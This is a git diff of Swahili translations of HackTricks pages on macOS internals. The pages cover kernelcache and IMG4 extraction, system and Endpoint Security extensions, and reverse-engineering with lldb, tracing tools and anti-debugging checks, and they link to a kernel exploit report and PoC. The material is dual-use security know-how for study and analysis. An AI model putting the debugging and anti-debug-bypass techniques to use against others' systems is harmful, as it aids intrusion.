madereva muhimu yanapatikana, kupunguza muda na rasilimali ambazo zingetumika kwa kupakia na kuunganisha vipengele hivi kwa wakati wa kuanzisha. +**Kernelcache** ni **toleo lililotayarishwa na kuunganishwa la kernel ya XNU**, pamoja na **madereva** muhimu na **nyongeza za kernel**. Inahifadhiwa katika muundo wa **kimecompressed** na inachukuliwa kwenye kumbukumbu wakati wa mchakato wa kuanzisha. Kernelcache inarahisisha **wakati wa kuanzisha haraka** kwa kuwa na toleo lililo tayari la kernel na madereva muhimu yanapatikana, kupunguza muda na rasilimali ambazo zingetumika kwa kupakia na kuunganisha vipengele hivi kwa wakati wa kuanzisha. ### Local Kerlnelcache @@ -58,12 +58,12 @@ Katika kesi yangu katika macOS niliipata katika: #### IMG4 -Muundo wa faili ya IMG4 ni muundo wa kontena unaotumiwa na Apple katika vifaa vyake vya iOS na macOS kwa ajili ya **kuhifadhi na kuthibitisha** vipengele vya firmware kwa usalama (kama **kernelcache**). Muundo wa IMG4 unajumuisha kichwa na lebo kadhaa ambazo zinafunga vipande tofauti vya data ikiwa ni pamoja na mzigo halisi (kama kernel au bootloader), saini, na seti ya mali za manifest. Muundo huu unasaidia uthibitishaji wa kificho, kuruhusu kifaa kuthibitisha ukweli na uadilifu wa kipengele cha firmware kabla ya kukitekeleza. +Muundo wa faili ya IMG4 ni muundo wa kontena unaotumiwa na Apple katika vifaa vyake vya iOS na macOS kwa ajili ya **kuhifadhi na kuthibitisha kwa usalama** vipengele vya firmware (kama **kernelcache**). Muundo wa IMG4 unajumuisha kichwa na lebo kadhaa ambazo zinafunga vipande tofauti vya data ikiwa ni pamoja na mzigo halisi (kama kernel au bootloader), saini, na seti ya mali za manifest. Muundo huu unasaidia uthibitisho wa kificho, ukiruhusu kifaa kuthibitisha ukweli na uadilifu wa kipengele cha firmware kabla ya kukitekeleza. Kwa kawaida unajumuisha vipengele vifuatavyo: - **Payload (IM4P)**: -- Mara nyingi inashinikizwa (LZFSE4, LZSS, …) +- Mara nyingi imekandamizwa (LZFSE4, LZSS, …) - Inaweza kuwa na usimbuaji - **Manifest (IM4M)**: - Inajumuisha Saini @@ -85,7 +85,7 @@ pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphon - [**KernelDebugKit Github**](https://github.com/dortania/KdkSupportPkg/releases) -Katika [https://github.com/dortania/KdkSupportPkg/releases](https://github.com/dortania/KdkSupportPkg/releases) inawezekana kupata vifaa vyote vya ufuatiliaji wa kernel. Unaweza kuvipakua, kuvifunga, kuvifungua kwa kutumia chombo cha [Suspicious Package](https://www.mothersruin.com/software/SuspiciousPackage/get.html), kufikia folda ya **`.kext`** na **kuvitoa**. +Katika [https://github.com/dortania/KdkSupportPkg/releases](https://github.com/dortania/KdkSupportPkg/releases) inawezekana kupata vifaa vyote vya ufuatiliaji wa kernel. Unaweza kuvipakua, kuvifunga, kuvifungua kwa kutumia zana ya [Suspicious Package](https://www.mothersruin.com/software/SuspiciousPackage/get.html), kufikia folda ya **`.kext`** na **kuvitoa**. Angalia kwa alama na: ```bash @@ -95,7 +95,7 @@ nm -a ~/Downloads/Sandbox.kext/Contents/MacOS/Sandbox | wc -l Wakati mwingine Apple inatoa **kernelcache** pamoja na **symbols**. Unaweza kupakua firmware kadhaa zenye symbols kwa kufuata viungo kwenye kurasa hizo. Firmware zitakuwa na **kernelcache** pamoja na faili nyingine. -Ili **extract** faili, anza kwa kubadilisha kiendelezi kutoka `.ipsw` hadi `.zip` na **unzip**. +Ili **extract** faili, anza kwa kubadilisha kiambishi kutoka `.ipsw` hadi `.zip` na **unzip**. Baada ya kutoa firmware utapata faili kama: **`kernelcache.release.iphone14`**. Iko katika muundo wa **IMG4**, unaweza kutoa taarifa muhimu kwa kutumia: @@ -126,7 +126,7 @@ kextex_all kernelcache.release.iphone14.e # Check the extension for symbols nm -a binaries/com.apple.security.sandbox | wc -l ``` -## Urekebishaji +## Ukarabati ## Marejeleo diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-vulnerabilities.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-vulnerabilities.md index 4082e71c5..02cc559ab 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-vulnerabilities.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-vulnerabilities.md @@ -1,8 +1,8 @@ -# Uthibitisho wa Kernel wa macOS +# macOS Kernel Vulnerabilities {{#include ../../../banners/hacktricks-training.md}} -## [Kupata OTA](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) +## [Pwning OTA](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) [**Katika ripoti hii**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) zinaelezewa udhaifu kadhaa ambao ziliruhusu kuathiri kernel kwa kuathiri mchakato wa sasisho la programu.\ [**PoC**](https://github.com/jhftss/POC/tree/main/CVE-2022-46722). diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md index ef7b003a0..821205ed0 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md @@ -12,14 +12,14 @@ Kuna aina tatu za system extensions: **DriverKit** Extensions, **Network** Exten ### **DriverKit Extensions** -DriverKit ni mbadala wa kernel extensions ambazo **zinatoa msaada wa vifaa**. Inaruhusu madereva ya vifaa (kama vile USB, Serial, NIC, na HID drivers) kufanya kazi katika nafasi ya mtumiaji badala ya nafasi ya kernel. Mfumo wa DriverKit unajumuisha **toleo la nafasi ya mtumiaji la baadhi ya madarasa ya I/O Kit**, na kernel inapeleka matukio ya kawaida ya I/O Kit kwa nafasi ya mtumiaji, ikitoa mazingira salama kwa madereva haya kufanya kazi. +DriverKit ni mbadala wa kernel extensions ambazo **zinatoa msaada wa vifaa**. Inaruhusu madereva ya vifaa (kama USB, Serial, NIC, na HID drivers) kufanya kazi katika nafasi ya mtumiaji badala ya nafasi ya kernel. Mfumo wa DriverKit unajumuisha **toleo la nafasi ya mtumiaji la baadhi ya madarasa ya I/O Kit**, na kernel inapeleka matukio ya kawaida ya I/O Kit kwa nafasi ya mtumiaji, ikitoa mazingira salama kwa madereva haya kufanya kazi. ### **Network Extensions** Network Extensions zinatoa uwezo wa kubadilisha tabia za mtandao. Kuna aina kadhaa za Network Extensions: -- **App Proxy**: Hii inatumika kwa kuunda mteja wa VPN ambao unatekeleza itifaki ya VPN iliyobinafsishwa inayotegemea mtiririko. Hii inamaanisha inashughulikia trafiki ya mtandao kulingana na muunganisho (au mitiririko) badala ya pakiti za kibinafsi. -- **Packet Tunnel**: Hii inatumika kwa kuunda mteja wa VPN ambao unatekeleza itifaki ya VPN iliyobinafsishwa inayotegemea pakiti. Hii inamaanisha inashughulikia trafiki ya mtandao kulingana na pakiti za kibinafsi. +- **App Proxy**: Hii inatumika kwa kuunda mteja wa VPN ambao unatekeleza itifaki ya VPN iliyobinafsishwa inayotegemea mtiririko. Hii ina maana inashughulikia trafiki ya mtandao kulingana na muunganisho (au mitiririko) badala ya pakiti za kibinafsi. +- **Packet Tunnel**: Hii inatumika kwa kuunda mteja wa VPN ambaye anatekeleza itifaki ya VPN iliyobinafsishwa inayotegemea pakiti. Hii ina maana inashughulikia trafiki ya mtandao kulingana na pakiti za kibinafsi. - **Filter Data**: Hii inatumika kwa kuchuja "mitiririko" ya mtandao. Inaweza kufuatilia au kubadilisha data za mtandao katika kiwango cha mtiririko. - **Filter Packet**: Hii inatumika kwa kuchuja pakiti za mtandao za kibinafsi. Inaweza kufuatilia au kubadilisha data za mtandao katika kiwango cha pakiti. - **DNS Proxy**: Hii inatumika kwa kuunda mtoa huduma wa DNS uliobinafsishwa. Inaweza kutumika kufuatilia au kubadilisha maombi na majibu ya DNS. @@ -32,7 +32,7 @@ Mfumo huu unatoa **mkusanyiko wa APIs za kufuatilia na kudhibiti shughuli za mfu Msingi wa mfumo huu umewekwa katika kernel, kama Kernel Extension (KEXT) iliyoko **`/System/Library/Extensions/EndpointSecurity.kext`**. KEXT hii inajumuisha vipengele kadhaa muhimu: -- **EndpointSecurityDriver**: Hii inafanya kazi kama "nukta ya kuingia" kwa kiendelezi cha kernel. Ni nukta kuu ya mwingiliano kati ya OS na mfumo wa Endpoint Security. +- **EndpointSecurityDriver**: Hii inafanya kazi kama "nukta ya kuingia" kwa kiendelezi cha kernel. Ni sehemu kuu ya mwingiliano kati ya OS na mfumo wa Endpoint Security. - **EndpointSecurityEventManager**: Kipengele hiki kinawajibika kwa kutekeleza nanga za kernel. Nanga za kernel zinaruhusu mfumo kufuatilia matukio ya mfumo kwa kukamata wito wa mfumo. - **EndpointSecurityClientManager**: Hii inasimamia mawasiliano na wateja wa nafasi ya mtumiaji, ikifuatilia ni wateja gani wameunganishwa na wanahitaji kupokea arifa za matukio. - **EndpointSecurityMessageManager**: Hii inatuma ujumbe na arifa za matukio kwa wateja wa nafasi ya mtumiaji. @@ -51,11 +51,11 @@ Matukio ambayo mfumo wa Endpoint Security unaweza kufuatilia yanagawanywa katika **Mawasiliano ya nafasi ya mtumiaji** na mfumo wa Endpoint Security hufanyika kupitia darasa la IOUserClient. Aina mbili tofauti za subclasses zinatumika, kulingana na aina ya mpiga simu: - **EndpointSecurityDriverClient**: Hii inahitaji ruhusa ya `com.apple.private.endpoint-security.manager`, ambayo inashikiliwa tu na mchakato wa mfumo `endpointsecurityd`. -- **EndpointSecurityExternalClient**: Hii inahitaji ruhusa ya `com.apple.developer.endpoint-security.client`. Hii kwa kawaida ingetumiwa na programu za usalama za wahusika wengine ambazo zinahitaji kuingiliana na mfumo wa Endpoint Security. +- **EndpointSecurityExternalClient**: Hii inahitaji ruhusa ya `com.apple.developer.endpoint-security.client`. Hii kwa kawaida ingekuwa ikitumika na programu za usalama za wahusika wengine ambazo zinahitaji kuingiliana na mfumo wa Endpoint Security. The Endpoint Security Extensions:**`libEndpointSecurity.dylib`** ni maktaba ya C ambayo system extensions hutumia kuwasiliana na kernel. Maktaba hii inatumia I/O Kit (`IOKit`) kuwasiliana na KEXT ya Endpoint Security. -**`endpointsecurityd`** ni daemon muhimu wa mfumo unaohusika na kusimamia na kuzindua system extensions za usalama wa mwisho, hasa wakati wa mchakato wa kuanzisha mapema. **Ni system extensions tu** zilizo na **`NSEndpointSecurityEarlyBoot`** katika faili yao ya `Info.plist` zinazopokea matibabu haya ya kuanzisha mapema. +**`endpointsecurityd`** ni daemon muhimu wa mfumo unaohusika na kusimamia na kuzindua system extensions za usalama wa mwisho, hasa wakati wa mchakato wa kuanzisha mapema. **Ni system extensions tu** zilizoashiriwa na **`NSEndpointSecurityEarlyBoot`** katika faili yao ya `Info.plist` ndizo zinapata matibabu haya ya kuanzisha mapema. Daemon nyingine ya mfumo, **`sysextd`**, **inasimamia system extensions** na kuhamasisha katika maeneo sahihi ya mfumo. Kisha inaomba daemon husika kupakia kiendelezi. **`SystemExtensions.framework`** inawajibika kwa kuanzisha na kuzima system extensions. diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md index 970dc8da7..d1cf5c217 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md @@ -83,12 +83,12 @@ ldid -S/tmp/entl.xml ``` ### SuspiciousPackage -[**SuspiciousPackage**](https://mothersruin.com/software/SuspiciousPackage/get.html) ni chombo muhimu kuchunguza **.pkg** faili (wawekaji) na kuona kilichomo ndani kabla ya kuisakinisha.\ +[**SuspiciousPackage**](https://mothersruin.com/software/SuspiciousPackage/get.html) ni chombo muhimu cha kukagua **.pkg** faili (wawekaji) na kuona kilichomo ndani kabla ya kuisakinisha.\ Wawekaji hawa wana `preinstall` na `postinstall` bash scripts ambazo waandishi wa malware mara nyingi hutumia vibaya ili **kuendelea** **na** **malware**. ### hdiutil -Chombo hiki kinaruhusu **kuunganisha** picha za diski za Apple (**.dmg**) ili kuzichunguza kabla ya kuendesha chochote: +Chombo hiki kinaruhusu **kuunganisha** picha za diski za Apple (**.dmg**) ili kuzikagua kabla ya kuendesha chochote: ```bash hdiutil attach ~/Downloads/Firefox\ 58.0.2.dmg ``` @@ -98,7 +98,7 @@ Itakuwa imewekwa katika `/Volumes` - Angalia kwa entropy ya juu - Angalia nyuzi (kama hakuna nyuzi zinazoweza kueleweka, zimepakizwa) -- Packer ya UPX kwa MacOS inazalisha sehemu inayoitwa "\_\_XHDR" +- Packer wa UPX kwa MacOS huunda sehemu inayoitwa "\_\_XHDR" ## Uchambuzi wa Static Objective-C @@ -116,7 +116,7 @@ Kumbuka kwamba majina haya yanaweza kufichwa ili kufanya kurudi nyuma kwa binary ### Kuita kazi -Wakati kazi inaitwa katika binary inayotumia objective-C, msimbo uliokanzwa badala ya kuita kazi hiyo, itaita **`objc_msgSend`**. Ambayo itakuwa ikitafuta kazi ya mwisho: +Wakati kazi inaitwa katika binary inayotumia objective-C, msimbo ulioandikwa badala ya kuita kazi hiyo, utaita **`objc_msgSend`**. Ambayo itakuwa ikitafuta kazi ya mwisho: ![](<../../../images/image (305).png>) @@ -124,7 +124,7 @@ Paramu ambazo kazi hii inatarajia ni: - Paramu ya kwanza (**self**) ni "kiashiria kinachopointia **mfano wa darasa ambalo linapaswa kupokea ujumbe**". Au kwa kusema kwa urahisi, ni kitu ambacho mbinu inaitwa juu yake. Ikiwa mbinu ni mbinu ya darasa, hii itakuwa mfano wa kitu cha darasa (kama jumla), wakati kwa mbinu ya mfano, self itapointia mfano ulioanzishwa wa darasa kama kitu. - Paramu ya pili, (**op**), ni "mchaguzi wa mbinu inayoshughulikia ujumbe". Tena, kwa kusema kwa urahisi, hii ni tu **jina la mbinu.** -- Paramu zilizobaki ni **thamani zozote zinazohitajika na mbinu** (op). +- Paramus zilizobaki ni **thamani zozote zinazohitajika na mbinu** (op). Tazama jinsi ya **kupata habari hii kwa urahisi na `lldb` katika ARM64** katika ukurasa huu: @@ -136,7 +136,7 @@ x64: | **Hoja** | **Register** | **(kwa) objc_msgSend** | | ---------------- | --------------------------------------------------------------- | ------------------------------------------------------ | -| **hoja ya 1** | **rdi** | **self: kitu ambacho mbinu inaitwa juu yake** | +| **hoja ya 1** | **rdi** | **self: kitu ambacho mbinu inaitwa juu yake** | | **hoja ya 2** | **rsi** | **op: jina la mbinu** | | **hoja ya 3** | **rdx** | **hoja ya 1 kwa mbinu** | | **hoja ya 4** | **rcx** | **hoja ya 2 kwa mbinu** | @@ -144,15 +144,15 @@ x64: | **hoja ya 6** | **r9** | **hoja ya 4 kwa mbinu** | | **hoja ya 7+** |

rsp+
(katika stack)

| **hoja ya 5+ kwa mbinu** | -### Dump Metadata ya ObjectiveC +### Dump ObjectiveC metadata ### Dynadump -[**Dynadump**](https://github.com/DerekSelander/dynadump) ni chombo cha kutupa darasa la binaries za Objective-C. Github inataja dylibs lakini hii pia inafanya kazi na executable. +[**Dynadump**](https://github.com/DerekSelander/dynadump) ni chombo cha kutupa darasa la binaries za Objective-C. Github inaelezea dylibs lakini hii pia inafanya kazi na executable. ```bash ./dynadump dump /path/to/bin ``` -Wakati wa uandishi, hii ni **sasa ndiyo inafanya kazi vizuri zaidi**. +Wakati wa uandishi, hii ni **sasa ndiyo inayo fanya kazi vizuri zaidi**. #### Zana za kawaida ```bash @@ -162,9 +162,9 @@ objdump --macho --objc-meta-data /path/to/bin ``` #### class-dump -[**class-dump**](https://github.com/nygard/class-dump/) ni chombo cha asili kinachozalisha matamko ya madarasa, makundi na itifaki katika msimbo wa muundo wa ObjetiveC. +[**class-dump**](https://github.com/nygard/class-dump/) ni chombo cha asili kinachozalisha matamko ya madarasa, makundi na itifaki katika msimbo wa ObjectiveC. -Ni ya zamani na haina matengenezo hivyo huenda isifanye kazi vizuri. +Ni cha zamani na hakijatunzwa hivyo huenda hakiwezi kufanya kazi vizuri. #### ICDump @@ -213,7 +213,7 @@ swift demangle macOS inatoa APIs kadhaa za kuvutia ambazo zinatoa habari kuhusu michakato: -- `proc_info`: Hii ndiyo muhimu zaidi inayoleta habari nyingi kuhusu kila mchakato. Unahitaji kuwa root ili kupata habari za michakato mingine lakini huhitaji ruhusa maalum au mach ports. +- `proc_info`: Hii ndiyo muhimu zaidi inayoleta habari nyingi kuhusu kila mchakato. Unahitaji kuwa root ili kupata habari za michakato mingine lakini huwezi kuhitaji ruhusa maalum au mach ports. - `libsysmon.dylib`: Inaruhusu kupata habari kuhusu michakato kupitia kazi zilizofichwa za XPC, hata hivyo, inahitajika kuwa na ruhusa `com.apple.sysmond.client`. ### Stackshot & microstackshots @@ -224,7 +224,7 @@ macOS inatoa APIs kadhaa za kuvutia ambazo zinatoa habari kuhusu michakato: Zana hii (`/usr/bini/ysdiagnose`) kimsingi inakusanya habari nyingi kutoka kwa kompyuta yako ikitekeleza amri tofauti kama `ps`, `zprint`... -Inapaswa kufanywa kama **root** na daemon `/usr/libexec/sysdiagnosed` ina ruhusa za kuvutia kama `com.apple.system-task-ports` na `get-task-allow`. +Inapaswa kuendeshwa kama **root** na daemon `/usr/libexec/sysdiagnosed` ina ruhusa za kuvutia kama `com.apple.system-task-ports` na `get-task-allow`. Plist yake iko katika `/System/Library/LaunchDaemons/com.apple.sysdiagnose.plist` ambayo inatangaza MachServices 3: @@ -236,7 +236,7 @@ Plist yake iko katika `/System/Library/LaunchDaemons/com.apple.sysdiagnose.plist MacOS inazalisha magogo mengi ambayo yanaweza kuwa ya manufaa wakati wa kuendesha programu ikijaribu kuelewa **kila inafanya**. -Zaidi ya hayo, kuna baadhi ya magogo ambayo yatakuwa na lebo `` ili **kuficha** baadhi ya **mtumiaji** au **kompyuta** **inayoweza kutambulika** habari. Hata hivyo, inawezekana **kusanidi cheti kufichua habari hii**. Fuata maelezo kutoka [**hapa**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log). +Zaidi ya hayo, kuna baadhi ya magogo ambayo yatakuwa na lebo `` ili **kuficha** baadhi ya **mtumiaji** au **kompyuta** **inayoweza kutambulika** habari. Hata hivyo, inawezekana **kufunga cheti kufichua habari hii**. Fuata maelezo kutoka [**hapa**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log). ### Hopper @@ -343,7 +343,7 @@ Ni kituo cha kufuatilia kernel. M codes zilizoorodheshwa zinaweza kupatikana kat Zana kama `latency`, `sc_usage`, `fs_usage` na `trace` zinatumia ndani yake. -Ili kuingiliana na `kdebug`, `sysctl` inatumika juu ya nafasi ya jina `kern.kdebug` na MIBs zinazoweza kutumika zinaweza kupatikana katika `sys/sysctl.h` zikiwa na kazi zilizotekelezwa katika `bsd/kern/kdebug.c`. +Ili kuingiliana na `kdebug`, `sysctl` inatumika juu ya nafasi ya `kern.kdebug` na MIBs zinazoweza kutumika zinaweza kupatikana katika `sys/sysctl.h` zikiwa na kazi zilizotekelezwa katika `bsd/kern/kdebug.c`. Ili kuingiliana na kdebug na mteja maalum, hatua hizi kawaida hufuatwa: @@ -351,19 +351,19 @@ Ili kuingiliana na kdebug na mteja maalum, hatua hizi kawaida hufuatwa: - Weka trace kwa KERN_KDSETBUF na KERN_KDSETUP - Tumia KERN_KDGETBUF kupata idadi ya entries za buffer - Pata mteja wako kutoka kwenye trace kwa KERN_KDPINDEX -- Washa kufuatilia kwa KERN_KDENABLE +- Wezesha kufuatilia kwa KERN_KDENABLE - Soma buffer kwa kuita KERN_KDREADTR - Ili kulinganisha kila thread na mchakato wake, piga KERN_KDTHRMAP. Ili kupata habari hii, inawezekana kutumia zana ya Apple **`trace`** au zana maalum [kDebugView (kdv)](https://newosxbook.com/tools/kdv.html)**.** -**Kumbuka kwamba Kdebug inapatikana kwa mteja 1 tu kwa wakati mmoja.** Hivyo, zana moja iliyo na k-debug inaweza kutekelezwa kwa wakati mmoja. +**Kumbuka kwamba Kdebug inapatikana kwa mteja 1 tu kwa wakati mmoja.** Hivyo zana moja iliyo na k-debug inaweza kutekelezwa kwa wakati mmoja. ### ktrace -APIs za `ktrace_*` zinatoka `libktrace.dylib` ambazo zinafungua zile za `Kdebug`. Kisha, mteja anaweza tu kuita `ktrace_session_create` na `ktrace_events_[single/class]` kuweka callbacks kwenye codes maalum na kisha kuanza nayo kwa `ktrace_start`. +APIs za `ktrace_*` zinatoka `libktrace.dylib` ambazo zinafungwa zile za `Kdebug`. Kisha, mteja anaweza tu kuita `ktrace_session_create` na `ktrace_events_[single/class]` kuweka callbacks kwenye codes maalum na kisha kuanza nayo kwa `ktrace_start`. -Unaweza kutumia hii hata na **SIP imewashwa** +Unaweza kuitumia hata na **SIP imewezeshwa** Unaweza kutumia kama wateja zana `ktrace`: ```bash @@ -415,12 +415,12 @@ fs_usage -w -f network curl #This tracks network actions ``` ### TaskExplorer -[**Taskexplorer**](https://objective-see.com/products/taskexplorer.html) ni muhimu kuona **maktaba** zinazotumiwa na binary, **faili** inazotumia na **michakato** ya mtandao.\ +[**Taskexplorer**](https://objective-see.com/products/taskexplorer.html) ni muhimu kuona **maktaba** zinazotumiwa na binary, **faili** inazotumia na **michango** ya mtandao.\ Pia inakagua michakato ya binary dhidi ya **virustotal** na kuonyesha taarifa kuhusu binary. ## PT_DENY_ATTACH -Katika [**hiki kipande cha blog**](https://knight.sc/debugging/2019/06/03/debugging-apple-binaries-that-use-pt-deny-attach.html) unaweza kupata mfano wa jinsi ya **kudebug daemon inayotembea** ambayo ilitumia **`PT_DENY_ATTACH`** kuzuia debugging hata kama SIP ilikuwa imezimwa. +Katika [**hiki blogu**](https://knight.sc/debugging/2019/06/03/debugging-apple-binaries-that-use-pt-deny-attach.html) unaweza kupata mfano kuhusu jinsi ya **kudebug daemon inayotembea** ambayo ilitumia **`PT_DENY_ATTACH`** kuzuia debugging hata kama SIP ilikuwa imezimwa. ### lldb @@ -438,7 +438,7 @@ settings set target.x86-disassembly-flavor intel > [!WARNING] > Ndani ya lldb, dump mchakato kwa `process save-core` -
(lldb) AmriMaelezo
run (r)Kuanza utekelezaji, ambayo itaendelea bila kukatizwa hadi breakpoint ipatikane au mchakato uishe.
process launch --stop-at-entryKuanza utekelezaji ukisimama kwenye kiingilio
continue (c)Endelea na utekelezaji wa mchakato unaoshughulikiwa.
nexti (n / ni)Tekeleza amri inayofuata. Amri hii itakataa kupita kwenye wito wa kazi.
stepi (s / si)Tekeleza amri inayofuata. Tofauti na amri ya nexti, amri hii itachambua wito wa kazi.
finish (f)Tekeleza amri zilizobaki katika kazi ya sasa (“frame”) rudisha na simama.
control + cSimamisha utekelezaji. Ikiwa mchakato umekuwa ukikimbia (r) au umeendelea (c), hii itasababisha mchakato kusimama ... popote ulipo.
breakpoint (b)

b main #Kazi yoyote inayoitwa main

b <binname>`main #Kazi kuu ya bin

b set -n main --shlib <lib_name> #Kazi kuu ya bin iliyoonyeshwa

breakpoint set -r '\[NSFileManager .*\]$' #Njia yoyote ya NSFileManager

breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'

break set -r . -s libobjc.A.dylib # Vunjia katika kazi zote za maktaba hiyo

b -a 0x0000000100004bd9

br l #Orodha ya breakpoint

br e/dis <num> #Washa/Zima breakpoint

breakpoint delete <num>

help

help breakpoint #Pata msaada wa amri ya breakpoint

help memory write #Pata msaada wa kuandika kwenye kumbukumbu

reg

reg read

reg read $rax

reg read $rax --format <format>

reg write $rip 0x100035cc0

x/s <reg/memory address>Onyesha kumbukumbu kama mfuatano wa mwisho.
x/i <reg/memory address>Onyesha kumbukumbu kama amri ya mkusanyiko.
x/b <reg/memory address>Onyesha kumbukumbu kama byte.
print object (po)

Hii itachapisha kitu kinachorejelewa na param

po $raw

{

dnsChanger = {

"affiliate" = "";

"blacklist_dns" = ();

Kumbuka kwamba nyingi za API za Objective-C za Apple au mbinu hurudisha vitu, na hivyo zinapaswa kuonyeshwa kupitia amri ya “print object” (po). Ikiwa po haitoi matokeo yenye maana tumia x/b

memorymemory read 0x000....
memory read $x0+0xf2a
memory write 0x100600000 -s 4 0x41414141 #Andika AAAA katika anwani hiyo
memory write -f s $rip+0x11f+7 "AAAA" #Andika AAAA katika anwani
disassembly

dis #Disas kazi ya sasa

dis -n <funcname> #Disas kazi

dis -n <funcname> -b <basename> #Disas kazi
dis -c 6 #Disas mistari 6
dis -c 0x100003764 -e 0x100003768 # Kutoka moja hadi nyingine
dis -p -c 4 # Anza katika anwani ya sasa ukichambua

parrayparray 3 (char **)$x1 # Angalia array ya vipengele 3 katika reg x1
image dump sectionsChapisha ramani ya kumbukumbu ya mchakato wa sasa
image dump symtab <library>image dump symtab CoreNLP #Pata anwani ya alama zote kutoka CoreNLP
+
(lldb) AmriMaelezo
run (r)Kuanza utekelezaji, ambayo itaendelea bila kukatizwa hadi breakpoint ipatikane au mchakato uishe.
process launch --stop-at-entryKuanza utekelezaji ukisimama kwenye kiingilio
continue (c)Endelea na utekelezaji wa mchakato unaoshughulikiwa.
nexti (n / ni)Tekeleza amri inayofuata. Amri hii itakataa kupita kwenye wito wa kazi.
stepi (s / si)Tekeleza amri inayofuata. Tofauti na amri ya nexti, amri hii itachambua wito wa kazi.
finish (f)Tekeleza maagizo mengine katika kazi ya sasa (“frame”) rudisha na simama.
control + cSimamisha utekelezaji. Ikiwa mchakato umekuwa ukikimbia (r) au umeendelea (c), hii itasababisha mchakato kusimama ... popote ulipo.
breakpoint (b)

b main #Kazi yoyote inayoitwa main

b <binname>`main #Kazi kuu ya bin

b set -n main --shlib <lib_name> #Kazi kuu ya bin iliyoonyeshwa

breakpoint set -r '\[NSFileManager .*\]$' #Kila njia ya NSFileManager

breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'

break set -r . -s libobjc.A.dylib # Vunjia katika kazi zote za maktaba hiyo

b -a 0x0000000100004bd9

br l #Orodha ya breakpoint

br e/dis <num> #Washa/Zima breakpoint

breakpoint delete <num>

help

help breakpoint #Pata msaada wa amri ya breakpoint

help memory write #Pata msaada wa kuandika kwenye kumbukumbu

reg

reg read

reg read $rax

reg read $rax --format <format>

reg write $rip 0x100035cc0

x/s <reg/memory address>Onyesha kumbukumbu kama mfuatano wa mwisho.
x/i <reg/memory address>Onyesha kumbukumbu kama amri ya mkusanyiko.
x/b <reg/memory address>Onyesha kumbukumbu kama byte.
print object (po)

Hii itachapisha kitu kinachorejelewa na param

po $raw

{

dnsChanger = {

"affiliate" = "";

"blacklist_dns" = ();

Kumbuka kwamba nyingi za API za Objective-C za Apple au mbinu hurudisha vitu, na hivyo zinapaswa kuonyeshwa kupitia amri ya “print object” (po). Ikiwa po haitoi matokeo yenye maana tumia x/b

memorymemory read 0x000....
memory read $x0+0xf2a
memory write 0x100600000 -s 4 0x41414141 #Andika AAAA katika anwani hiyo
memory write -f s $rip+0x11f+7 "AAAA" #Andika AAAA katika anwani
disassembly

dis #Disas kazi ya sasa

dis -n <funcname> #Disas kazi

dis -n <funcname> -b <basename> #Disas kazi
dis -c 6 #Disas mistari 6
dis -c 0x100003764 -e 0x100003768 # Kutoka moja hadi nyingine
dis -p -c 4 # Anza katika anwani ya sasa ukichambua

parrayparray 3 (char **)$x1 # Angalia array ya vipengele 3 katika reg x1
image dump sectionsChapisha ramani ya kumbukumbu ya mchakato wa sasa
image dump symtab <library>image dump symtab CoreNLP #Pata anwani ya alama zote kutoka CoreNLP
> [!NOTE] > Wakati wa kuita kazi **`objc_sendMsg`**, register **rsi** ina **jina la mbinu** kama mfuatano wa mwisho (“C”). Ili kuchapisha jina kupitia lldb fanya: @@ -460,7 +460,7 @@ settings set target.x86-disassembly-flavor intel - Pia inawezekana kupata **ikiwa mchakato unashughulikiwa** kwa kutumia msimbo rahisi kama: - `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //mchakato unashughulikiwa }` - Inaweza pia kuita **`ptrace`** mfumo wa wito na bendera **`PT_DENY_ATTACH`**. Hii **inazuia** deb**u**gger kuungana na kufuatilia. -- Unaweza kuangalia ikiwa **`sysctl`** au **`ptrace`** kazi inapo **ingizwa** (lakini malware inaweza kuingiza kwa njia ya kidinamik). +- Unaweza kuangalia ikiwa **`sysctl`** au **`ptrace`** kazi inayo **ingizwa** (lakini malware inaweza kuingiza kwa njia ya kidinamik). - Kama ilivyotajwa katika andiko hili, “[Defeating Anti-Debug Techniques: macOS ptrace variants](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)” :\ “_Ujumbe Mchakato # ulitoka na **hali = 45 (0x0000002d)** mara nyingi ni ishara ya wazi kwamba lengo la debug linatumia **PT_DENY_ATTACH**_” @@ -480,9 +480,9 @@ Katika hali hizo core dumps inaundwa kulingana na `kern.corefile` sysctl na kuhi ReportCrash **inafanya uchambuzi wa michakato inayoshindwa na kuhifadhi ripoti ya ajali kwenye diski**. Ripoti ya ajali ina habari ambayo inaweza **kusaidia mendelezi kutambua** sababu ya ajali.\ Kwa programu na michakato mingine **inayoendesha katika muktadha wa per-user launchd**, ReportCrash inakimbia kama LaunchAgent na kuhifadhi ripoti za ajali katika `~/Library/Logs/DiagnosticReports/` ya mtumiaji\ -Kwa daemons, michakato mingine **inayoendesha katika muktadha wa system launchd** na michakato mingine yenye mamlaka, ReportCrash inakimbia kama LaunchDaemon na kuhifadhi ripoti za ajali katika 